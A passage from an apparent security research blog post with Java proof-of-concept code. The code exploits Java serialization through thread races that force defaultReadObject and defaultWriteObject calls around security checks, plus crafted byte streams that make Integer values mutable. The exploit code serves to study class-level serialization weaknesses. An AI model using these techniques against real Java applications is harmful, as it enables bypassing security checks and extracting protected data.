CLASS="nb">033</SPAN> <SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> EvilSplitStream is = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> EvilSplitStream(Converter.getStream(_DATA));</SPAN><br /><SPAN CLASS="nb">034</SPAN> <SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> ObjectInputStream ois = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> ObjectInputStream(is);</SPAN><br /><SPAN CLASS="nb">035</SPAN> <br /><SPAN CLASS="nb">036</SPAN> <SPAN CLASS="bl">is.mark(1024);</SPAN><br /><SPAN CLASS="nb">037</SPAN> <SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Thread() {</SPAN><br /><SPAN CLASS="nb">038</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> run() {</SPAN><br /><SPAN CLASS="nb">039</SPAN> <SPAN CLASS="kw">while</SPAN><SPAN CLASS="bl"> (true) {</SPAN><br /><SPAN CLASS="nb">040</SPAN> <SPAN CLASS="kw">try</SPAN><SPAN CLASS="bl"> {</SPAN><br /><SPAN CLASS="nb">041</SPAN> <SPAN CLASS="bl">ois.readObject();</SPAN><br /><SPAN CLASS="nb">042</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (NotActiveException nae) {</SPAN><br /><SPAN CLASS="nb">043</SPAN> <SPAN CLASS="cm">// NAE means defaultReadObject was successfully called</SPAN><br /><SPAN CLASS="nb">044</SPAN> <SPAN CLASS="cm">// in the other thread</SPAN><br /><SPAN CLASS="nb">045</SPAN> <SPAN CLASS="kw">break</SPAN><SPAN CLASS="bl">; </SPAN><SPAN CLASS="cm">// and our work is done</SPAN><br /><SPAN CLASS="nb">046</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (SecurityException se) {</SPAN><br /><SPAN CLASS="nb">047</SPAN> <SPAN CLASS="bl">se.printStackTrace();</SPAN><br /><SPAN CLASS="nb">048</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (ClassNotFoundException cnfe) {</SPAN><br /><SPAN CLASS="nb">049</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (IOException ioe) {</SPAN><br /><SPAN CLASS="nb">050</SPAN> <SPAN CLASS="bl">ioe.printStackTrace();</SPAN><br /><SPAN CLASS="nb">051</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">052</SPAN> <SPAN CLASS="kw">try</SPAN><SPAN CLASS="bl"> {</SPAN><br /><SPAN CLASS="nb">053</SPAN> <SPAN CLASS="bl">is.reset();</SPAN><br /><SPAN CLASS="nb">054</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (IOException ioe) {</SPAN><br /><SPAN CLASS="nb">055</SPAN> <SPAN CLASS="bl">ioe.printStackTrace();</SPAN><br /><SPAN CLASS="nb">056</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">057</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">058</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">059</SPAN> <SPAN CLASS="bl">}.start();</SPAN><br /><SPAN CLASS="nb">060</SPAN> <br /><SPAN CLASS="nb">061</SPAN> <SPAN CLASS="cm">// this thread "forces" a call to defaultReadObject</SPAN><br /><SPAN CLASS="nb">062</SPAN> <SPAN CLASS="kw">while</SPAN><SPAN CLASS="bl"> (true) {</SPAN><br /><SPAN CLASS="nb">063</SPAN> <SPAN CLASS="kw">try</SPAN><SPAN CLASS="bl"> {</SPAN><br /><SPAN CLASS="nb">064</SPAN> <SPAN CLASS="bl">ois.defaultReadObject();</SPAN><br /><SPAN CLASS="nb">065</SPAN> <SPAN CLASS="bl">System.out.println(</SPAN><SPAN CLASS="st">"Successfully called defaultReadObject externally."</SPAN><SPAN CLASS="bl">);</SPAN><br /><SPAN CLASS="nb">066</SPAN> <SPAN CLASS="kw">try</SPAN><SPAN CLASS="bl"> {</SPAN><br /><SPAN CLASS="nb">067</SPAN> <SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> ref = baseWireHandle;</SPAN><br /><SPAN CLASS="nb">068</SPAN> <SPAN CLASS="cm">// enumerate all refs in the stream to find the evil object</SPAN><br /><SPAN CLASS="nb">069</SPAN> <SPAN CLASS="kw">while</SPAN><SPAN CLASS="bl"> (true) {</SPAN><br /><SPAN CLASS="nb">070</SPAN> <SPAN CLASS="bl">is.rewrite(Converter.getStream(</SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Object[] {TC_REFERENCE, ref++}));</SPAN><br /><SPAN CLASS="nb">071</SPAN> <SPAN CLASS="bl">Object obj = ois.readObject(); </SPAN><SPAN CLASS="cm">// read ref </SPAN><br /><SPAN CLASS="nb">072</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (obj.toString().contains(</SPAN><SPAN CLASS="st">"EVIL"</SPAN><SPAN CLASS="bl">)) {</SPAN><br /><SPAN CLASS="nb">073</SPAN> <SPAN CLASS="bl">App.evilName = (SecureName) obj;</SPAN><br /><SPAN CLASS="nb">074</SPAN> <SPAN CLASS="kw">break</SPAN><SPAN CLASS="bl">;</SPAN><br /><SPAN CLASS="nb">075</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">076</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">077</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (Throwable t) {</SPAN><br /><SPAN CLASS="nb">078</SPAN> <SPAN CLASS="bl">t.printStackTrace();</SPAN><br /><SPAN CLASS="nb">079</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">080</SPAN> <br /><SPAN CLASS="nb">081</SPAN> <SPAN CLASS="kw">break</SPAN><SPAN CLASS="bl">; </SPAN><SPAN CLASS="cm">// done; bail</SPAN><br /><SPAN CLASS="nb">082</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (IOException e) {</SPAN><br /><SPAN CLASS="nb">083</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (ClassNotFoundException e) {</SPAN><br /><SPAN CLASS="nb">084</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">085</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">086</SPAN> <br /><SPAN CLASS="nb">087</SPAN> <SPAN CLASS="cm">// done</SPAN><br /><SPAN CLASS="nb">088</SPAN> <SPAN CLASS="bl">System.out.println(</SPAN><SPAN CLASS="st">"An evil SecureName: "</SPAN><SPAN CLASS="bl"> + evilName);</SPAN><br /><SPAN CLASS="nb">089</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">090</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br />Basically, we create an additional thread which keeps on calling .readObject() on the ObjectInputStream, reading the same object over and over again (thanks to resetting the underlying InputStream after each call).<br /><br />Meanwhile, another thread keeps on calling .defaultReadObject() on the same ObjectInputStream. Once the right condition occurs (happens immediately on my core 2 laptop) and the other thread is in the SecureName.readObject method, but hasn't called .readFields() yet, the call to .defaultReadObject succeeds and all of SecureName's serial fields are automatically populated. That particular SecureName instance gets a bit lost, because defaultReadObject() doesn't return anything, and the corresponding .readObject() in the other thread ends up throwing an exception (because it tries to call readFields() after defaultReadObject() has already been called). To get a hold of the "missing" object, we do a little bit of magic and manipulate our stream to return a ref to all the objects in it.<br /><br /><span style="font-weight:bold;">2c) Example 3 - Secure writeObject implementation with a security check.</span><br /><br />Same as above, adding some meat & bones to this example to have something worthwhile to steal. A serialVersionUID and a value for the sensitive field. This is what we'll try to extract through serialization.<br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser4;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> SecureValue </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> java.io.Serializable {</SPAN><br /><SPAN CLASS="nb">006</SPAN> <br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl"> serialVersionUID = -5975820784258084088L;</SPAN><br /><SPAN CLASS="nb">008</SPAN> <br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="cm">// sensitive internal state</SPAN><br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> String value = </SPAN><SPAN CLASS="st">"The secret of life is D41D8CD98F00B204E9800998ECF8427E"</SPAN><SPAN CLASS="bl">;</SPAN><br /><SPAN CLASS="nb">011</SPAN> <br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="cm">// public method to allow callers to retrieve internal state</SPAN><br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> String getValue() {</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="cm">// permission needed to get value</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="bl">securityManagerCheck();</SPAN><br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> value;</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">018</SPAN> <br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="cm">// implement writeObject to enforce checks during serialization</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> writeObject(java.io.ObjectOutputStream out) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException {</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="cm">// duplicate check from getValue()</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="bl">securityManagerCheck();</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="bl">out.writeObject(value);</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">025</SPAN> <br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> securityManagerCheck() {</SPAN><br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="cm">// code omitted</SPAN><br /><SPAN CLASS="nb">028</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">029</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br />And the code that breaks it:<br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser4;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ByteArrayOutputStream;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectOutputStream;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectStreamConstants;</SPAN><br /><SPAN CLASS="nb">007</SPAN> <br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> App </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> ObjectStreamConstants {</SPAN><br /><SPAN CLASS="nb">009</SPAN> <br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> ObjectOutputStream OOS = </SPAN><SPAN CLASS="kw">null</SPAN><SPAN CLASS="bl">;</SPAN><br /><SPAN CLASS="nb">011</SPAN> <br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">boolean</SPAN><SPAN CLASS="bl"> completed = false;</SPAN><br /><SPAN CLASS="nb">013</SPAN> <br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> main(String[] args) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> Exception {</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> ByteArrayOutputStream baos = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> ByteArrayOutputStream();</SPAN><br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="bl">OOS = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> ObjectOutputStream(baos);</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Thread() {</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> run() {</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="kw">while</SPAN><SPAN CLASS="bl"> (!completed) {</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="kw">try</SPAN><SPAN CLASS="bl"> {</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="bl">OOS.writeObject(</SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> SecureValue());</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (IOException ioe) {}</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">025</SPAN> <SPAN CLASS="bl">}.start();</SPAN><br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="kw">while</SPAN><SPAN CLASS="bl"> (!completed) {</SPAN><br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="kw">try</SPAN><SPAN CLASS="bl"> {</SPAN><br /><SPAN CLASS="nb">028</SPAN> <SPAN CLASS="bl">OOS.defaultWriteObject();</SPAN><br /><SPAN CLASS="nb">029</SPAN> <SPAN CLASS="bl">System.out.println(</SPAN><SPAN CLASS="st">"serial data: "</SPAN><SPAN CLASS="bl"> + baos.toString());</SPAN><br /><SPAN CLASS="nb">030</SPAN> <SPAN CLASS="bl">completed = true;</SPAN><br /><SPAN CLASS="nb">031</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (IOException e) {</SPAN><br /><SPAN CLASS="nb">032</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">033</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">034</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">035</SPAN> <br /><SPAN CLASS="nb">036</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br />This one is simple. One thread keeps on writing SecureValue objects into the ObjectOutputStream (new instance every time, otherwise the serialization framework would just write a ref). Another thread keeps on calling defaultWriteObject() on the same ObjectOutputStream. Once the race condition stars align (again, on my laptop this is immediate) the secrets of the SecureValue instance get written into a ByteArrayOutputStream and are accessible to us.<br /><br /><span style="font-weight:bold;">3) java.lang.Integer</span><br /><br />Creating a mutable Integer that starts with zero as the value and on command changes it's value to any int value is quite trivial.<br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser5;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectStreamConstants;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> util.Converter;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> App1 </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> ObjectStreamConstants {</SPAN><br /><SPAN CLASS="nb">008</SPAN> <br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> Object[] _DATA = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Object[] {</SPAN><br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="bl">STREAM_MAGIC, STREAM_VERSION, </SPAN><SPAN CLASS="cm">// stream headers</SPAN><br /><SPAN CLASS="nb">011</SPAN> <br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="bl">TC_OBJECT,</SPAN><br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="bl">TC_CLASSDESC,</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="bl">Integer.</SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl">.getName(), </SPAN><SPAN CLASS="cm">// name</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl">) 1360826667806852920L, </SPAN><SPAN CLASS="cm">// serialVersionUID</SPAN><br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) 2, </SPAN><SPAN CLASS="cm">// classdesc flags</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">short</SPAN><SPAN CLASS="bl">) 1, </SPAN><SPAN CLASS="cm">// field count</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) </SPAN><SPAN CLASS="st">'I'</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="st">"value"</SPAN><SPAN CLASS="bl">,</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="bl">TC_ENDBLOCKDATA,</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="cm">// super</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="bl">TC_CLASSDESC,</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="st">"pkg.None"</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="cm">// name</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl">) 1337L, </SPAN><SPAN CLASS="cm">// serialVersionUID</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) 2,</SPAN><SPAN CLASS="cm">// classdesc flags</SPAN><br /><SPAN CLASS="nb">025</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">short</SPAN><SPAN CLASS="bl">) 1, </SPAN><SPAN CLASS="cm">// field count</SPAN><br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) </SPAN><SPAN CLASS="st">'L'</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="st">"notimportant"</SPAN><SPAN CLASS="bl">, TC_STRING, </SPAN><SPAN CLASS="st">"Ljava/lang/Object;"</SPAN><SPAN CLASS="bl">,</SPAN><br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="bl">TC_ENDBLOCKDATA,</SPAN><br /><SPAN CLASS="nb">028</SPAN> <SPAN CLASS="cm">// super</SPAN><br /><SPAN CLASS="nb">029</SPAN> <SPAN CLASS="bl">TC_NULL,</SPAN><br /><SPAN CLASS="nb">030</SPAN> <br /><SPAN CLASS="nb">031</SPAN> <SPAN CLASS="cm">// start value data</SPAN><br /><SPAN CLASS="nb">032</SPAN> <SPAN CLASS="bl">TC_OBJECT, </SPAN><SPAN CLASS="cm">// embedded object, the value of pkg.None.notimportant phantom field</SPAN><br /><SPAN CLASS="nb">033</SPAN> <SPAN CLASS="bl">TC_CLASSDESC,</SPAN><br /><SPAN CLASS="nb">034</SPAN> <SPAN CLASS="bl">Ref.</SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl">.getName(), </SPAN><SPAN CLASS="cm">// name</SPAN><br /><SPAN CLASS="nb">035</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl">) 1, </SPAN><SPAN CLASS="cm">// serialVersionUID</SPAN><br /><SPAN CLASS="nb">036</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) 2, </SPAN><SPAN CLASS="cm">// flags</SPAN><br /><SPAN CLASS="nb">037</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">short</SPAN><SPAN CLASS="bl">) 1, </SPAN><SPAN CLASS="cm">// field count</SPAN><br /><SPAN CLASS="nb">038</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) </SPAN><SPAN CLASS="st">'L'</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="st">"i"</SPAN><SPAN CLASS="bl">, TC_STRING, </SPAN><SPAN CLASS="st">"Ljava/lang/Integer;"</SPAN><SPAN CLASS="bl">,</SPAN><br /><SPAN CLASS="nb">039</SPAN> <SPAN CLASS="bl">TC_ENDBLOCKDATA,</SPAN><br /><SPAN CLASS="nb">040</SPAN> <SPAN CLASS="cm">// super</SPAN><br /><SPAN CLASS="nb">041</SPAN> <SPAN CLASS="bl">TC_NULL,</SPAN><br /><SPAN CLASS="nb">042</SPAN> <br /><SPAN CLASS="nb">043</SPAN> <SPAN CLASS="cm">// start value data for Ref</SPAN><br /><SPAN CLASS="nb">044</SPAN> <SPAN CLASS="bl">TC_REFERENCE, baseWireHandle + 3, </SPAN><SPAN CLASS="cm">// ref to the Integer object</SPAN><br /><SPAN CLASS="nb">045</SPAN> <br /><SPAN CLASS="nb">046</SPAN> <SPAN CLASS="bl">1337 </SPAN><SPAN CLASS="cm">// value of the Integer object</SPAN><br /><SPAN CLASS="nb">047</SPAN> <SPAN CLASS="bl">};</SPAN><br /><SPAN CLASS="nb">048</SPAN> <br /><SPAN CLASS="nb">049</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> Integer INSTANCE = </SPAN><SPAN CLASS="kw">null</SPAN><SPAN CLASS="bl">;</SPAN><br /><SPAN CLASS="nb">050</SPAN> <br /><SPAN CLASS="nb">051</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> main(String[] args) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> Exception {</SPAN><br /><SPAN CLASS="nb">052</SPAN> <SPAN CLASS="bl">Converter.convert(_DATA).readObject();</SPAN><br /><SPAN CLASS="nb">053</SPAN> <SPAN CLASS="bl"> System.out.println(</SPAN><SPAN CLASS="st">"INSTANCE("</SPAN><SPAN CLASS="bl"> + System.identityHashCode(App1.INSTANCE) + </SPAN><SPAN CLASS="st">") value = "</SPAN><SPAN CLASS="bl"> + App1.INSTANCE);</SPAN><br /><SPAN CLASS="nb">054</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">055</SPAN> <br /><SPAN CLASS="nb">056</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser5;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <br /><SPAN CLASS="nb">004</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectInputStream;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.Serializable;</SPAN><br /><SPAN CLASS="nb">007</SPAN> <br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> Ref </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> Serializable {</SPAN><br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl"> serialVersionUID = 1L;</SPAN><br /><SPAN CLASS="nb">010</SPAN> <br /><SPAN CLASS="nb">011</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> Integer i;</SPAN><br /><SPAN CLASS="nb">012</SPAN> <br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> readObject (ObjectInputStream s) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException, ClassNotFoundException {</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="bl"> s.defaultReadObject ();</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="bl"> App1.INSTANCE = </SPAN><SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.i;</SPAN><br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="bl"> System.out.println(</SPAN><SPAN CLASS="st">"INSTANCE("</SPAN><SPAN CLASS="bl"> + System.identityHashCode(App1.INSTANCE) + </SPAN><SPAN CLASS="st">") value = "</SPAN><SPAN CLASS="bl"> + App1.INSTANCE);</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">018</SPAN> <br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br />We have an early reference on a phantom superclass field containing a Ref object. This object has a reference to the Integer instance before it's fields have been initialized (because the phantom superclass fields are still being initialized). So the Integer instance has the default value 0. Once the initialization completes, the object will have the value that is in the stream. In this case 1337.<br /><br />It is also possible, with a few limitations, to create more arbitrary mutability from any value to another, with multiple changes.<br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser5;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectStreamConstants;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> util.Converter;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN 